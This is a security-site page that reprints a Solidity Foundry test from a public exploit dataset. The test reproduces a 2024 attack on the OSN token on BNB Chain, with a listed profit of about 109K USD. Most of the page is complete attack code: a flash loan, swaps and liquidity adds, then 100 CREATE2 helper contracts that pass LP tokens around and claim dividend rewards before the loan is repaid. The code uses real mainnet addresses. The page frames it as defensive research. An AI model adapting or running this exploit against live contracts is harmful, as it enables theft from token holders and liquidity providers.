Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/OSN_exp.sol

Public reproduction file for dataset entry OSN.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/OSN_exp.sol186 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// TX : https://app.blocksec.com/explorer/tx/bsc/0xc7927a68464ebab1c0b1af58a5466da88f09ba9b30e6c255b46b1bc2e7d1bf09
8// GUY : https://twitter.com/SlowMist_Team/status/1787330586857861564
9// Profit : ~109K USD
10// Here is only one tx,total you can see here :https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502#tokentxns
11// REASON : Reward Distribution Problem
12// Distribution contract did not check the LP hold time or whether the reciever is contract or not
13// Actually there are 3 steps
14// TX1:create help contract,split money : https://app.blocksec.com/explorer/tx/bsc/0xbf22eabb5db8785642ba17930bddef48d0d1bb94ebd1e03e7faa6f2a3d1a5540
15// TX2:help contract add Liq : https://app.blocksec.com/explorer/tx/bsc/0x69c64b226f8bf06216cc665ad5e3777ad1b120909326f120f0816ac65a9099c0
16// TX3:attack tx
17interface Imoney {
18 function addLiq(
19 uint256 value
20 ) external;
21 function cc() external;
24contract ContractTest is Test {
25 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
26 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27 Uni_Pair_V3 pool = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);
28 Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0x1F5b26DCC6721c21b9c156Bf6eF68f51c0D075b7);
29 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
30 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
31 IERC20 OSN = IERC20(0x810f4C6AE97BCC66DA5Ae6383CC31BD3670f6d13);
32 IERC20 OSN_PAIR = IERC20(0x4EEDdCc7C8714A684311F8b01154B5686A0f612f);
33 uint256 constant PRECISION = 10 ** 18;
34 address test_contract = address(this);
35 uint256 borrow_amount;
37 function setUp() external {
38 cheats.createSelectFork("bsc", 38_474_365);
39 deal(address(USDT), address(this), 0);
40 }
42 function testExploit() external {
43 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
44 // borrow_amount = 500_000 ether;
45 borrow_amount = 500_009_458_043_549_158_462_637;
46 pool.flash(address(this), borrow_amount, 0, "");
47 emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
48 }
50 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {
51 OSN.approve(address(router), type(uint256).max - 1);
52 USDT.approve(address(router), type(uint256).max - 1);
53 OSN_PAIR.approve(address(router), type(uint256).max - 1);
54 uint256 usdt_balance = USDT.balanceOf(address(this));
55 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
56 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
57 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
58 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
59 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
60 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
61 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
62 usdt_balance = USDT.balanceOf(address(this));
63 uint256 osn_balance = OSN.balanceOf(address(this)) - 100 * 1_000_000_000_000_000; //use to transfer to contract
64 console.log(usdt_balance, osn_balance);
65 router.addLiquidity(
66 address(USDT), address(OSN), usdt_balance, osn_balance, 0, 0, address(this), block.timestamp
67 );
68 console.log(OSN_PAIR.balanceOf(address(this)));
69 uint256 pair_balance = OSN_PAIR.balanceOf(address(this));
70 uint256 helpContractAmount = 100;
71 uint256 i = 0;
72 // step1 transfer money to the money contract
73 while (i < helpContractAmount) {
74 address money = cal_address(i);
75 USDT.transfer(money, 1_000_000_000_000_000);
76 OSN.transfer(money, 1_000_000_000_000_000);
77 i++;
78 }
80 // step2 create contract & add liq
81 create_contract(helpContractAmount);
83 // step 3 attack logic
84 i = 0;
85 while (i < helpContractAmount) {
86 address money = cal_address(i);
87 OSN_PAIR.transfer(money, pair_balance);
88 Imoney(money).addLiq(pair_balance);
89 i++;
90 }
91 router.removeLiquidity(
92 address(USDT), address(OSN), OSN_PAIR.balanceOf(address(this)), 0, 0, address(this), block.timestamp
93 );
94 i = 0;
95 while (i < 10) {
96 // Activate divided
97 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
98 swap_token_to_token(address(OSN), address(USDT), OSN.balanceOf(address(this)));
99 i++;
100 }
101 i = 0;
102 while (i < helpContractAmount) {
103 // collect reward
104 address money = cal_address(i);
105 Imoney(money).cc();
106 i++;
107 }
109 USDT.transfer(address(pool), borrow_amount + fee0);
110 }
112 function swap_token_to_ExactToken(address a, address b, uint256 amountout, uint256 amountInMax) internal {
113 IERC20(a).approve(address(router), amountInMax);
114 address[] memory path = new address[](2);
115 path[0] = address(a);
116 path[1] = address(b);
117 router.swapTokensForExactTokens(amountout, amountInMax, path, address(this), block.timestamp);
118 }
120 function swap_token_to_token(address a, address b, uint256 amount) internal {
121 IERC20(a).approve(address(router), amount);
122 address[] memory path = new address[](2);
123 path[0] = address(a);
124 path[1] = address(b);
125 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
126 }
128 function create_contract(
129 uint256 times
130 ) internal {
131 uint256 i = 0;
132 while (i < times) {
133 bytes memory bytecode = type(Money).creationCode;
134 uint256 _salt = i;
135 bytecode = abi.encodePacked(bytecode);
136 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
137 address hack_contract = address(uint160(uint256(hash)));
138 // console.log(hack_contract);
139 address addr;
140 // Use create2 to send money first.
141 assembly {
142 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
143 }
144 i++;
145 }
146 }
148 function cal_address(
149 uint256 time
150 ) internal returns (address) {
151 bytes memory bytecode = type(Money).creationCode;
152 uint256 _salt = time;
153 bytecode = abi.encodePacked(bytecode);
154 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
155 address hack_contract = address(uint160(uint256(hash)));
156 return hack_contract;
157 }
160contract Money {
161 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
162 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
163 IERC20 OSN = IERC20(0x810f4C6AE97BCC66DA5Ae6383CC31BD3670f6d13);
164 IERC20 OSN_PAIR = IERC20(0x4EEDdCc7C8714A684311F8b01154B5686A0f612f);
165 address owner;
167 constructor() {
168 owner = msg.sender;
169 OSN_PAIR.approve(address(router), type(uint256).max - 1);
170 USDT.approve(address(router), type(uint256).max - 1);
171 OSN.approve(address(router), type(uint256).max - 1);
172 router.addLiquidity(address(USDT), address(OSN), 100_000, 100_000, 0, 0, address(this), block.timestamp);
173 }
175 function addLiq(
176 uint256 value
177 ) public {
178 router.removeLiquidity(address(USDT), address(OSN), 35_524, 0, 0, address(this), block.timestamp);
179 OSN_PAIR.transfer(address(owner), value);
180 }
182 function cc() public {
183 router.addLiquidity(address(USDT), address(OSN), 100_000, 100_000, 0, 0, address(this), block.timestamp);
184 USDT.transfer(address(owner), USDT.balanceOf(address(this)));
185 }

Analysis

Dataset entry

Public Foundry test for “OSN” (2024-05-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
OSN
Path
src/test/2024-05/OSN_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
872101d956b39c56732ad5597635d04386d6fb37
Language
Solidity
Size
187 lines
Date
2024-05-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/OSN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 872101d956b39c56732ad5597635d04386d6fb37, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.